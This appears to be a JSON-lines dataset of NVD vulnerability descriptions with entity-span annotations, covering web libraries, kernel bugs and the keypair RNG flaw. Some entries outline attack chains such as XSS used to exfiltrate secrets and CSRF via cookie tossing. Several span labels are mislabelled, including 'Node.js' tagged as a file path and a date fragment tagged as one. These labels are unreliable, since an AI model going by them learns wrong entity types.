{"text": "Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to versions 8.6.65 and 9.7.0-alpha.9, when multiple clients subscribe to the same class via LiveQuery, the event handlers process each subscriber concurrently using shared mutable objects. The sensitive data filter modifies these shared objects in-place, so when one subscriber's filter removes a protected field, subsequent subscribers may receive the already-filtered object. This can cause protected fields and authentication data to leak to clients that should not see them, or cause clients that should see the data to receive an incomplete object. Additionally, when an afterEvent Cloud Code trigger is registered, one subscriber's trigger modifications can leak to other subscribers through the same shared mutable state. Any Parse Server deployment using LiveQuery with protected fields or afterEvent triggers is affected when multiple clients subscribe to the same class. This issue has been patched in versions 8.6.65 and 9.7.0-alpha.9.", "spans": {"FILEPATH: Node.js": [[95, 102]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-34363"}}
{"text": "@fastify/passport is a port of passport authentication library for the Fastify ecosystem. The CSRF (Cross-Site Request Forger) protection enforced by the `@fastify/csrf-protection` library, when combined with `@fastify/passport` in affected versions, can be bypassed by network and same-site attackers. `fastify/csrf-protection` implements the synchronizer token pattern (using plugins `@fastify/session` and `@fastify/secure-session`) by storing a random value used for CSRF token generation in the `_csrf` attribute of a user's session. The `@fastify/passport` library does not clear the session object upon authentication, preserving the `_csrf` attribute between pre-login and authenticated sessions. Consequently, CSRF tokens generated before authentication are still valid. Network and same-site attackers can thus obtain a CSRF token for their pre-session, fixate that pre-session in the victim's browser via cookie tossing, and then perform a CSRF attack after the victim authenticates. As a solution, newer versions of `@fastify/passport` include the configuration options: `clearSessionOnLogin (default: true)` and `clearSessionIgnoreFields (default: ['passport', 'session'])` to clear all the session attributes by default, preserving those explicitly defined in `clearSessionIgnoreFields`.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-29020"}}
{"text": "Cross Site Scripting (XSS) in MyBB v1.8.20 allows remote attackers to inject arbitrary web script or HTML via the \"Description\" field found in the \"Add New Forum\" page by doing an authenticated POST HTTP request to '/Upload/admin/index.php?module=forum-management&action=add'.", "spans": {"FILEPATH: /Upload/admin/index.php": [[216, 239]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-19049"}}
{"text": "Svelecte is a flexible autocomplete/select component written in Svelte. Svelecte item names are rendered as raw HTML with no escaping. This allows the injection of arbitrary HTML into the Svelecte dropdown. This can be exploited to execute arbitrary JavaScript whenever a Svelecte dropdown is opened. Item names given to Svelecte appear to be directly rendered as HTML by the default item renderer. This means that any HTML tags in the name are rendered as HTML elements not as text. Note that the custom item renderer shown in https://mskocik.github.io/svelecte/#item-rendering is also vulnerable to the same exploit. Any site that uses Svelecte with dynamically created items either from an external source or from user-created content could be vulnerable to an XSS attack (execution of untrusted JavaScript), clickjacking or any other attack that can be performed with arbitrary HTML injection. The actual impact of this vulnerability for a specific application depends on how trustworthy the sources that provide Svelecte items are and the steps that the application has taken to mitigate XSS attacks. XSS attacks using this vulnerability are mostly mitigated by a Content Security Policy that blocks inline JavaScript. This issue has been addressed in version 3.16.3. Users are advised to upgrade. There are no known workarounds for this vulnerability.", "spans": {"URL: https://mskocik.github.io/svelecte/#item-rendering": [[528, 578]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-38687"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nremoteproc: core: Cleanup acquired resources when rproc_handle_resources() fails in rproc_attach()\n\nWhen rproc->state = RPROC_DETACHED and rproc_attach() is used\nto attach to the remote processor, if rproc_handle_resources()\nreturns a failure, the resources allocated by imx_rproc_prepare()\nshould be released, otherwise the following memory leak will occur.\n\nSince almost the same thing is done in imx_rproc_prepare() and\nrproc_resource_cleanup(), Function rproc_resource_cleanup() is able\nto deal with empty lists so it is better to fix the \"goto\" statements\nin rproc_attach(). replace the \"unprepare_device\" goto statement with\n\"clean_up_resources\" and get rid of the \"unprepare_device\" label.\n\nunreferenced object 0xffff0000861c5d00 (size 128):\ncomm \"kworker/u12:3\", pid 59, jiffies 4294893509 (age 149.220s)\nhex dump (first 32 bytes):\n00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\n00 00 02 88 00 00 00 00 00 00 10 00 00 00 00 00 ............\nbacktrace:\n [<00000000f949fe18>] slab_post_alloc_hook+0x98/0x37c\n [<00000000adbfb3e7>] __kmem_cache_alloc_node+0x138/0x2e0\n [<00000000521c0345>] kmalloc_trace+0x40/0x158\n [<000000004e330a49>] rproc_mem_entry_init+0x60/0xf8\n [<000000002815755e>] imx_rproc_prepare+0xe0/0x180\n [<0000000003f61b4e>] rproc_boot+0x2ec/0x528\n [<00000000e7e994ac>] rproc_add+0x124/0x17c\n [<0000000048594076>] imx_rproc_probe+0x4ec/0x5d4\n [<00000000efc298a1>] platform_probe+0x68/0xd8\n [<00000000110be6fe>] really_probe+0x110/0x27c\n [<00000000e245c0ae>] __driver_probe_device+0x78/0x12c\n [<00000000f61f6f5e>] driver_probe_device+0x3c/0x118\n [<00000000a7874938>] __device_attach_driver+0xb8/0xf8\n [<0000000065319e69>] bus_for_each_drv+0x84/0xe4\n [<00000000db3eb243>] __device_attach+0xfc/0x18c\n [<0000000072e4e1a4>] device_initial_probe+0x14/0x20", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: memory leak": [[404, 415]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38419"}}
{"text": "Vulnerability in the Oracle CRM Technical Foundation product of Oracle E-Business Suite (component: Preferences). Supported versions that are affected are 12.2.3-12.2.10. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle CRM Technical Foundation. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle CRM Technical Foundation, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle CRM Technical Foundation accessible data as well as unauthorized update, insert or delete access to some of Oracle CRM Technical Foundation accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [64, 70], [279, 285], [429, 435], [634, 640], [749, 755]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-2099"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: wwan: t7xx: fix potential skb->frags overflow in RX path\n\nWhen receiving data in the DPMAIF RX path,\nthe t7xx_dpmaif_set_frag_to_skb() function adds\npage fragments to an skb without checking if the number of\nfragments has exceeded MAX_SKB_FRAGS. This could lead to a buffer overflow\nin skb_shinfo(skb)->frags[] array, corrupting adjacent memory and\npotentially causing kernel crashes or other undefined behavior.\n\nThis issue was identified through static code analysis by comparing with a\nsimilar vulnerability fixed in the mt76 driver commit b102f0c522cf (\"mt76:\nfix array overflow on receiving too many fragments for a packet\").\n\nThe vulnerability could be triggered if the modem firmware sends packets\nwith excessive fragments. While under normal protocol conditions (MTU 3080\nbytes, BAT buffer 3584 bytes),\na single packet should not require additional\nfragments, the kernel should not blindly trust firmware behavior.\nMalicious, buggy, or compromised firmware could potentially craft packets\nwith more fragments than the kernel expects.\n\nFix this by adding a bounds check before calling skb_add_rx_frag() to\nensure nr_frags does not exceed MAX_SKB_FRAGS.\n\nThe check must be performed before unmapping to avoid a page leak\nand double DMA unmap during device teardown.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: buffer overflow": [[341, 356]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23172"}}
{"text": "TensorFlow is an end-to-end open source platform for machine learning. A specially crafted TFLite model could trigger an OOB write on heap in the TFLite implementation of `ArgMin`/`ArgMax`(https://github.com/tensorflow/tensorflow/blob/102b211d892f3abc14f845a72047809b39cc65ab/tensorflow/lite/kernels/arg_min_max.cc#L52-L59). If `axis_value` is not a value between 0 and `NumDimensions(input)`, then the condition in the `if` is never true, so code writes past the last valid element of `output_dims->data`. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.", "spans": {"URL: https://github.com/tensorflow/tensorflow/blob/102b211d892f3abc14f845a72047809b39cc65ab/tensorflow/lite/kernels/arg_min_max.cc#L52-L59": [[189, 322]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-29603"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\next4: ignore xattrs past end\n\nOnce inside 'ext4_xattr_inode_dec_ref_all' we should\nignore xattrs entries past the 'end' entry.\n\nThis fixes the following KASAN reported issue:\n\n==================================================================\nBUG: KASAN: slab-use-after-free in ext4_xattr_inode_dec_ref_all+0xb8c/0xe90\nRead of size 4 at addr ffff888012c120c4 by task repro/2065\n\nCPU: 1 UID: 0 PID: 2065 Comm: repro Not tainted 6.13.0-rc2+ #11\nHardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS rel-1.16.3-0-ga6ed6b701f0a-prebuilt.qemu.org 04/01/2014\nCall Trace:\n <TASK>\n dump_stack_lvl+0x1fd/0x300\n ? tcp_gro_dev_warn+0x260/0x260\n ? _printk+0xc0/0x100\n ? read_lock_is_recursive+0x10/0x10\n ? irq_work_queue+0x72/0xf0\n ? __virt_addr_valid+0x17b/0x4b0\n print_address_description+0x78/0x390\n print_report+0x107/0x1f0\n ? __virt_addr_valid+0x17b/0x4b0\n ? __virt_addr_valid+0x3ff/0x4b0\n ? __phys_addr+0xb5/0x160\n ? ext4_xattr_inode_dec_ref_all+0xb8c/0xe90\n kasan_report+0xcc/0x100\n ? ext4_xattr_inode_dec_ref_all+0xb8c/0xe90\n ext4_xattr_inode_dec_ref_all+0xb8c/0xe90\n ? ext4_xattr_delete_inode+0xd30/0xd30\n ? __ext4_journal_ensure_credits+0x5f0/0x5f0\n ? __ext4_journal_ensure_credits+0x2b/0x5f0\n ? inode_update_timestamps+0x410/0x410\n ext4_xattr_delete_inode+0xb64/0xd30\n ? ext4_truncate+0xb70/0xdc0\n ? ext4_expand_extra_isize_ea+0x1d20/0x1d20\n ? __ext4_mark_inode_dirty+0x670/0x670\n ? ext4_journal_check_start+0x16f/0x240\n ? ext4_inode_is_fast_symlink+0x2f2/0x3a0\n ext4_evict_inode+0xc8c/0xff0\n ? ext4_inode_is_fast_symlink+0x3a0/0x3a0\n ? do_raw_spin_unlock+0x53/0x8a0\n ? ext4_inode_is_fast_symlink+0x3a0/0x3a0\n evict+0x4ac/0x950\n ? proc_nr_inodes+0x310/0x310\n ? trace_ext4_drop_inode+0xa2/0x220\n ? _raw_spin_unlock+0x1a/0x30\n ? iput+0x4cb/0x7e0\n do_unlinkat+0x495/0x7c0\n ? try_break_deleg+0x120/0x120\n ? 0xffffffff81000000\n ? __check_object_size+0x15a/0x210\n ? strncpy_from_user+0x13e/0x250\n ? getname_flags+0x1dc/0x530\n __x64_sys_unlinkat+0xc8/0xf0\n do_syscall_64+0x65/0x110\n entry_SYSCALL_64_after_hwframe+0x67/0x6f\nRIP: 0033:0x434ffd\nCode: 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 f3 0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 8\nRSP: 002b:00007ffc50fa7b28 EFLAGS: 00000246 ORIG_RAX: 0000000000000107\nRAX: ffffffffffffffda RBX: 00007ffc50fa7e18 RCX: 0000000000434ffd\nRDX: 0000000000000000 RSI: 0000000020000240 RDI: 0000000000000005\nRBP: 00007ffc50fa7be0 R08: 0000000000000000 R09: 0000000000000000\nR10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000001\nR13: 00007ffc50fa7e08 R14: 00000000004bbf30 R15: 0000000000000001\n </TASK>\n\nThe buggy address belongs to the object at ffff888012c12000\n which belongs to the cache filp of size 360\nThe buggy address is located 196 bytes inside of\n freed 360-byte region [ffff888012c12000, ffff888012c12168)\n\nThe buggy address belongs to the physical page:\npage: refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x12c12\nhead: order:1 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0\nflags: 0x40(head|node=0|zone=0)\npage_type: f5(slab)\nraw: 0000000000000040 ffff888000ad7640 ffffea0000497a00 dead000000000004\nraw: 0000000000000000 0000000000100010 00000001f5000000 0000000000000000\nhead: 0000000000000040 ffff888000ad7640 ffffea0000497a00 dead000000000004\nhead: 0000000000000000 0000000000100010 00000001f5000000 0000000000000000\nhead: 0000000000000001 ffffea00004b0481 ffffffffffffffff 0000000000000000\nhead: 0000000000000002 0000000000000000 00000000ffffffff 0000000000000000\npage dumped because: kasan: bad access detected\n\nMemory state around the buggy address:\n ffff888012c11f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n ffff888012c12000: fa fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb\n> ffff888012c12080: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb\n                                           ^\n ffff888012c12100: fb fb fb fb fb fb fb fb fb fb fb fb fb fc fc fc\n ffff888012c12180: fc fc fc fc fc fc fc fc fc\n---truncated---", "spans": {"DOMAIN: rel-1.16.3-0-ga6ed6b701f0a-prebuilt.qemu.org": [[569, 613]], "FILEPATH: /01/2014": [[616, 624]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[527, 531]], "VULNERABILITY: use-after-free": [[329, 343]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-37738"}}
{"text": "Glances is an open-source system cross-platform monitoring tool. Prior to version 4.5.2, in Central Browser mode, the `/api/4/serverslist` endpoint returns raw server objects from `GlancesServersList.get_servers_list()`. Those objects are mutated in-place during background polling and can contain a `uri` field with embedded HTTP Basic credentials for downstream Glances servers, using the reusable pbkdf2-derived Glances authentication secret. If the front Glances Browser/API instance is started without `--password`, which is supported and common for internal network deployments, `/api/4/serverslist` is completely unauthenticated. Any network user who can reach the Browser API can retrieve reusable credentials for protected downstream Glances servers once they have been polled by the browser instance. Version 4.5.2 fixes the issue.", "spans": {"FILEPATH: /api/4/serverslist": [[119, 137], [586, 604]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-32633"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmigrate: correct lock ordering for hugetlb file folios\n\nSyzbot has found a deadlock (analyzed by Lance Yang):\n\n1) Task (5749): Holds folio_lock, then tries to acquire i_mmap_rwsem(read lock).\n2) Task (5754): Holds i_mmap_rwsem(write lock), then tries to acquire\nfolio_lock.\n\nmigrate_pages()\n  -> migrate_hugetlbs()\n    -> unmap_and_move_huge_page()     <- Takes folio_lock!\n      -> remove_migration_ptes()\n        -> __rmap_walk_file()\n          -> i_mmap_lock_read()       <- Waits for i_mmap_rwsem(read lock)!\n\nhugetlbfs_fallocate()\n  -> hugetlbfs_punch_hole()           <- Takes i_mmap_rwsem(write lock)!\n    -> hugetlbfs_zero_partial_page()\n     -> filemap_lock_hugetlb_folio()\n      -> filemap_lock_folio()\n        -> __filemap_get_folio        <- Waits for folio_lock!\n\nThe migration path is the one taking locks in the wrong order according to\nthe documentation at the top of mm/rmap.c.  So expand the scope of the\nexisting i_mmap_lock to cover the calls to remove_migration_ptes() too.\n\nThis is (mostly) how it used to be after commit c0d0381ade79.  That was\nremoved by 336bf30eb765 for both file & anon hugetlb pages when it should\nonly have been removed for anon hugetlb pages.", "spans": {"FILEPATH: rmap.c": [[956, 962]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23097"}}
{"text": "Fluentd collects events from various data sources and writes them to files to help unify logging infrastructure. The parser_apache2 plugin in Fluentd v0.14.14 to v1.14.1 suffers from a regular expression denial of service (ReDoS) vulnerability. A broken apache log with a certain pattern of string can spend too much time in a regular expression, resulting in the potential for a DoS attack. This issue is patched in version 1.14.2 There are two workarounds available. Either don't use parser_apache2 for parsing logs (which cannot guarantee generated by Apache), or put patched version of parser_apache2.rb into /etc/fluent/plugin directory (or any other directories specified by the environment variable `FLUENT_PLUGIN` or `--plugin` option of fluentd).", "spans": {"FILEPATH: /etc/fluent/plugin": [[613, 631]], "FILEPATH: parser_apache2.rb": [[590, 607]], "ORGANIZATION: Apache": [[555, 561]], "VULNERABILITY: denial of service": [[204, 221]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-41186"}}
{"text": "SVG Loader is a javascript library that fetches SVGs using XMLHttpRequests and injects the SVG code in the tag's place. According to the docs, svg-loader will strip all JS code before injecting the SVG file for security reasons but the input sanitization logic is not sufficient and can be trivially bypassed. This allows an attacker to craft a malicious SVG which can result in Cross-site Scripting (XSS). When trying to sanitize the svg the lib removes event attributes such as `onmouseover`, `onclick` but the list of events is not exhaustive.  Any website which uses external-svg-loader and allows its users to provide svg src, upload svg files would be susceptible to stored XSS attack. This issue has been addressed in commit `d3562fc08` which is included in releases from 1.6.9. Users are advised to upgrade. There are no known workarounds for this vulnerability.", "spans": {"VULNERABILITY: Cross-site Scripting": [[379, 399]], "VULNERABILITY: stored XSS": [[673, 683]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-40013"}}
{"text": "Anchorr is a Discord bot for requesting movies and TV shows and receiving notifications when items are added to a media server. In versions 1.4.1 and below, a stored Cross-site Scripting (XSS) vulnerability in the web dashboard's User Mapping dropdown allows any unprivileged Discord user in the configured guild to execute arbitrary JavaScript in the Anchorr admin's browser. By chaining this with the GET /api/config endpoint (which returns all secrets in plaintext), an attacker can exfiltrate every credential stored in Anchorr which includes DISCORD_TOKEN, JELLYFIN_API_KEY, JELLYSEERR_API_KEY, JWT_SECRET, WEBHOOK_SECRET, and bcrypt password hashes without any authentication to Anchorr itself. This issue has been fixed in version 1.4.2.", "spans": {"FILEPATH: /api/config": [[407, 418]], "VULNERABILITY: Cross-site Scripting": [[166, 186]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-32890"}}
{"text": "keypair is a a RSA PEM key generator written in javascript. keypair implements a lot of cryptographic primitives on its own or by borrowing from other libraries where possible, including node-forge. An issue was discovered where this library was generating identical RSA keys used in SSH. This would mean that the library is generating identical P, Q (and thus N) values which, in practical terms, is impossible with RSA-2048 keys. Generating identical values, repeatedly, usually indicates an issue with poor random number generation, or, poor handling of CSPRNG output. Issue 1: Poor random number generation (`GHSL-2021-1012`). The library does not rely entirely on a platform provided CSPRNG, rather, it uses it's own counter-based CMAC approach. Where things go wrong is seeding the CMAC implementation with \"true\" random data in the function `defaultSeedFile`. In order to seed the AES-CMAC generator, the library will take two different approaches depending on the JavaScript execution environment. In a browser, the library will use [`window.crypto.getRandomValues()`](https://github.com/juliangruber/keypair/blob/87c62f255baa12c1ec4f98a91600f82af80be6db/index.js#L971). However, in a nodeJS execution environment, the `window` object is not defined, so it goes down a much less secure solution, also of which has a bug in it. It does look like the library tries to use node's CSPRNG when possible unfortunately, it looks like the `crypto` object is null because a variable was declared with the same name, and set to `null`. So the node CSPRNG path is never taken. However, when `window.crypto.getRandomValues()` is not available, a Lehmer LCG random number generator is used to seed the CMAC counter, and the LCG is seeded with `Math.random`. While this is poor and would likely qualify in a security bug in itself, it does not explain the extreme frequency in which duplicate keys occur. The main flaw: The output from the Lehmer LCG is encoded incorrectly. The specific [line][https://github.com/juliangruber/keypair/blob/87c62f255baa12c1ec4f98a91600f82af80be6db/index.js#L1008] with the flaw is: `b.putByte(String.fromCharCode(next & 0xFF))` The [definition](https://github.com/juliangruber/keypair/blob/87c62f255baa12c1ec4f98a91600f82af80be6db/index.js#L350-L352) of `putByte` is `util.ByteBuffer.prototype.putByte = function(b) {this.data += String.fromCharCode(b);};`. Simplified, this is `String.fromCharCode(String.fromCharCode(next & 0xFF))`. The double `String.fromCharCode` is almost certainly unintentional and the source of weak seeding. Unfortunately, this does not result in an error. Rather, it results most of the buffer containing zeros. Since we are masking with 0xFF, we can determine that 97% of the output from the LCG are converted to zeros. The only outputs that result in meaningful values are outputs 48 through 57, inclusive. The impact is that each byte in the RNG seed has a 97% chance of being 0 due to incorrect conversion. When it is not, the bytes are 0 through 9. In summary, there are three immediate concerns: 1. The library has an insecure random number fallback path. Ideally the library would require a strong CSPRNG instead of attempting to use a LCG and `Math.random`. 2. The library does not correctly use a strong random number generator when run in NodeJS, even though a strong CSPRNG is available. 3. The fallback path has an issue in the implementation where a majority of the seed data is going to effectively be zero. Due to the poor random number generation, keypair generates RSA keys that are relatively easy to guess. This could enable an attacker to decrypt confidential messages or gain authorized access to an account belonging to the victim.", "spans": {"URL: https://github.com/juliangruber/keypair/blob/87c62f255baa12c1ec4f98a91600f82af80be6db/index.js#L971": [[1077, 1176]], "URL: https://github.com/juliangruber/keypair/blob/87c62f255baa12c1ec4f98a91600f82af80be6db/index.js#L1008]": [[1989, 2090]], "URL: https://github.com/juliangruber/keypair/blob/87c62f255baa12c1ec4f98a91600f82af80be6db/index.js#L350-L352": [[2172, 2276]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-41117"}}
{"text": "Hoverfly is an open source API simulation tool. In versions 1.11.3 and prior, the middleware functionality in Hoverfly is vulnerable to command injection vulnerability at `/api/v2/hoverfly/middleware` endpoint due to insufficient validation and sanitization in user input. The vulnerability exists in the middleware management API endpoint `/api/v2/hoverfly/middleware`. This issue is born due to combination of three code level flaws: Insufficient Input Validation in middleware.go line 94-96; Unsafe Command Execution in local_middleware.go line 14-19; and Immediate Execution During Testing in hoverfly_service.go line 173. This allows an attacker to gain remote code execution (RCE) on any system running the vulnerable Hoverfly service. Since the input is directly passed to system commands without proper checks, an attacker can upload a malicious payload or directly execute arbitrary commands (including reverse shells) on the host server with the privileges of the Hoverfly process. Commit 17e60a9bc78826deb4b782dca1c1abd3dbe60d40 in version 1.12.0 disables the set middleware API by default, and subsequent changes to documentation make users aware of the security changes of exposing the set middleware API.", "spans": {"HASH: 17e60a9bc78826deb4b782dca1c1abd3dbe60d40": [[999, 1039]], "FILEPATH: /api/v2/hoverfly/middleware": [[172, 199], [341, 368]], "FILEPATH: middleware.go": [[469, 482]], "FILEPATH: local_middleware.go": [[523, 542]], "FILEPATH: hoverfly_service.go": [[597, 616]], "VULNERABILITY: remote code execution": [[659, 680]], "VULNERABILITY: command injection": [[136, 153]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-54123"}}
{"text": "LocalSend is a free, open-source app that allows users to share files and messages with nearby devices over their local network without needing an internet connection. In versions up to and including 1.17.0, when a user initiates a \"Share via Link\" session, the LocalSend application starts a local HTTP server to host the selected files. The client-side logic for this web interface is contained in `app/assets/web/main.js`. Note that at [0], the `handleFilesDisplay` function constructs the HTML for the file list by iterating over the files received from the server. Commit 8f3cec85aa29b2b13fed9b2f8e499e1ac9b0504c contains a patch.", "spans": {"HASH: 8f3cec85aa29b2b13fed9b2f8e499e1ac9b0504c": [[577, 617]], "FILEPATH: /assets/web/main.js": [[404, 423]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-25154"}}
{"text": "Rust is a programming language. The fix for CVE-2024-24576, where `std::process::Command` incorrectly escaped arguments when invoking batch files on Windows, was incomplete. Prior to Rust version 1.81.0, it was possible to bypass the fix when the batch file name had trailing whitespace or periods (which are ignored and stripped by Windows). To determine whether to apply the `cmd.exe` escaping rules, the original fix for the vulnerability checked whether the command name ended with `.bat` or `.cmd`. At the time that seemed enough, as we refuse to invoke batch scripts with no file extension. Windows removes trailing whitespace and periods when parsing file paths. For example, `.bat. .` is interpreted by Windows as `.bat`, but the original fix didn't check for that. Affected users who are using Rust 1.77.2 or greater can remove the trailing whitespace (ASCII 0x20) and trailing periods (ASCII 0x2E) from the batch file name to bypass the incomplete fix and enable the mitigations. Users are affected if their code or one of their dependencies invoke a batch script on Windows with trailing whitespace or trailing periods in the name, and pass untrusted arguments to it. Rust 1.81.0 will update the standard library to apply the CVE-2024-24576 mitigations to all batch files invocations, regardless of the trailing chars in the file name.", "spans": {"CVE_ID: CVE-2024-24576": [[44, 58], [1237, 1251]], "SYSTEM: Windows": [[149, 156], [333, 340], [597, 604], [711, 718], [1077, 1084]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-43402"}}
{"text": "pyLoad is a free and open-source download manager written in Python. In versions prior to 0.5.0b3.dev91, pyLoad web interface contained insufficient input validation in both the Captcha script endpoint and the Click'N'Load (CNL) Blueprint. This flaw allowed untrusted user input to be processed unsafely, which could be exploited by an attacker to inject arbitrary content into the web UI or manipulate request handling. The vulnerability could lead to client-side code execution (XSS) or other unintended behaviors when a malicious payload is submitted. user-supplied parameters from HTTP requests were not adequately validated or sanitized before being passed into the application logic and response generation. This allowed crafted input to alter the expected execution flow. CNL (Click'N'Load) blueprint exposed unsafe handling of untrusted parameters in HTTP requests. The application did not consistently enforce input validation or encoding, making it possible for an attacker to craft malicious requests. Version 0.5.0b3.dev91 contains a patch for the issue.", "spans": {"SYSTEM: Python": [[61, 67]], "VULNERABILITY: code execution": [[465, 479]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-61773"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nthermal/drivers/cpufreq_cooling: Fix slab OOB issue\n\nSlab OOB issue is scanned by KASAN in cpu_power_to_freq().\nIf power is limited below the power of OPP0 in EM table,\nit will cause slab out-of-bound issue with negative array\nindex.\n\nReturn the lowest frequency if limited power cannot found\na suitable OPP in EM table to fix this issue.\n\nBacktrace:\n[<ffffffd02d2a37f0>] die+0x104/0x5ac\n[<ffffffd02d2a5630>] bug_handler+0x64/0xd0\n[<ffffffd02d288ce4>] brk_handler+0x160/0x258\n[<ffffffd02d281e5c>] do_debug_exception+0x248/0x3f0\n[<ffffffd02d284488>] el1_dbg+0x14/0xbc\n[<ffffffd02d75d1d4>] __kasan_report+0x1dc/0x1e0\n[<ffffffd02d75c2e0>] kasan_report+0x10/0x20\n[<ffffffd02d75def8>] __asan_report_load8_noabort+0x18/0x28\n[<ffffffd02e6fce5c>] cpufreq_power2state+0x180/0x43c\n[<ffffffd02e6ead80>] power_actor_set_power+0x114/0x1d4\n[<ffffffd02e6fac24>] allocate_power+0xaec/0xde0\n[<ffffffd02e6f9f80>] power_allocator_throttle+0x3ec/0x5a4\n[<ffffffd02e6ea888>] handle_thermal_trip+0x160/0x294\n[<ffffffd02e6edd08>] thermal_zone_device_check+0xe4/0x154\n[<ffffffd02d351cb4>] process_one_work+0x5e4/0xe28\n[<ffffffd02d352f44>] worker_thread+0xa4c/0xfac\n[<ffffffd02d360124>] kthread+0x33c/0x358\n[<ffffffd02d289940>] ret_from_fork+0xc/0x18", "spans": {"FILEPATH: /drivers/cpufreq_cooling": [[76, 100]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-36776"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nxen-netfront: Fix NULL sring after live migration\n\nA NAPI is setup for each network sring to poll data to kernel\nThe sring with source host is destroyed before live migration and\nnew sring with target host is setup after live migration.\nThe NAPI for the old sring is not deleted until setup new sring\nwith target host after migration. With busy_poll/busy_read enabled,\nthe NAPI can be polled before got deleted when resume VM.\n\nBUG: unable to handle kernel NULL pointer dereference at\n0000000000000008\nIP: xennet_poll+0xae/0xd20\nPGD 0 P4D 0\nOops: 0000 [#1] SMP PTI\nCall Trace:\n finish_task_switch+0x71/0x230\n timerqueue_del+0x1d/0x40\n hrtimer_try_to_cancel+0xb5/0x110\n xennet_alloc_rx_buffers+0x2a0/0x2a0\n napi_busy_loop+0xdb/0x270\n sock_poll+0x87/0x90\n do_sys_poll+0x26f/0x580\n tracing_map_insert+0x1d4/0x2f0\n event_hist_trigger+0x14a/0x260\n\n finish_task_switch+0x71/0x230\n __schedule+0x256/0x890\n recalc_sigpending+0x1b/0x50\n xen_sched_clock+0x15/0x20\n __rb_reserve_next+0x12d/0x140\n ring_buffer_lock_reserve+0x123/0x3d0\n event_triggers_call+0x87/0xb0\n trace_event_buffer_commit+0x1c4/0x210\n xen_clocksource_get_cycles+0x15/0x20\n ktime_get_ts64+0x51/0xf0\n SyS_ppoll+0x160/0x1a0\n SyS_ppoll+0x160/0x1a0\n do_syscall_64+0x73/0x130\n entry_SYSCALL_64_after_hwframe+0x41/0xa6\n...\nRIP: xennet_poll+0xae/0xd20 RSP: ffffb4f041933900\nCR2: 0000000000000008\n---[ end trace f8601785b354351c ]---\n\nxen frontend should remove the NAPIs for the old srings before live\nmigration as the bond srings are destroyed\n\nThere is a tiny window between the srings are set to NULL and\nthe NAPIs are disabled, It is safe as the NAPI threads are still\nfrozen at that time", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[526, 550]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-48969"}}
{"text": "fs2 is a compositional, streaming I/O library for Scala. When establishing a server-mode `TLSSocket` using `fs2-io` on Node.js, the parameter `requestCert = true` is ignored, peer certificate verification is skipped, and the connection proceeds. The vulnerability is limited to: 1. `fs2-io` running on Node.js. The JVM TLS implementation is completely independent. 2. `TLSSocket`s in server-mode. Client-mode `TLSSocket`s are implemented via a different API. 3. mTLS as enabled via `requestCert = true` in `TLSParameters`. The default setting is `false` for server-mode `TLSSocket`s. It was introduced with the initial Node.js implementation of fs2-io in 3.1.0. A patch is released in v3.2.11. The requestCert = true parameter is respected and the peer certificate is verified. If verification fails, a SSLException is raised. If using an unpatched version on Node.js, do not use a server-mode TLSSocket with requestCert = true to establish a mTLS connection.", "spans": {"FILEPATH: Node.js": [[119, 126], [302, 309], [619, 626], [860, 867]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-31183"}}
